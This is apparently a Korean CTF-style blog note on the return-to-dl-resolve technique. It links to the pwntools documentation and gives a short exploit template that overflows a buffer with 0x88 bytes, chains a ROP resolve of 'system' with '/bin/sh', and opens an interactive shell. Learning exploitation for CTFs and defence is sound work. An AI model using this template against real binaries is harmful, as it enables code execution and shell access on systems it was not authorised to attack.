pwntools - ret2dlresolve

728x90

Return to dl resolve 공격을 할때, 공격을 좀더 쉽게 해주는 라이브러리? 이다.

https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html

 

pwnlib.rop.ret2dlresolve — Return to dl_resolve — pwntools 4.7.0 documentation

A Ret2dlresolvePayload object which can be passed to rop.ret2dlresolve

docs.pwntools.com

from pwn import *

context.binary = elf = ELF('바이너리')
rop = ROP(context.binary)

dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh\x00"]) # (바이너리, 찾고자 하는 함수, 함수의 인자)
rop.gets(dlresolve.data_addr) # 함수를 실행. 예를들어 read로 입력을 받으면, rop.read(0, buf) 이렇게
rop.ret2dlresolve(dlresolve) # rop를 위해 더해준다?
raw_rop = rop.chain()

p = elf.process()
p.sendline(b'A'*0x88+raw_rop) # ret에 ropchain을 더해준다.
p.sendline(dlresolve.payload) # 다음으로 read나 gets가 실행될때, payload를 입력
p.interactive()

사용 방법은 다음 코드를 참조

728x90

'Technique' 카테고리의 다른 글

Heap Fengshui  (0) 2022.01.13
Return To CSU(A.K.A RTC)  (0) 2022.01.06
Return to dl resolve  (0) 2021.12.13
gdb로 C++ 바이너리 분석시 함수 깨질때  (0) 2021.12.02
실행중인 프로세스를 gdb에 부착하는 방법  (0) 2021.10.06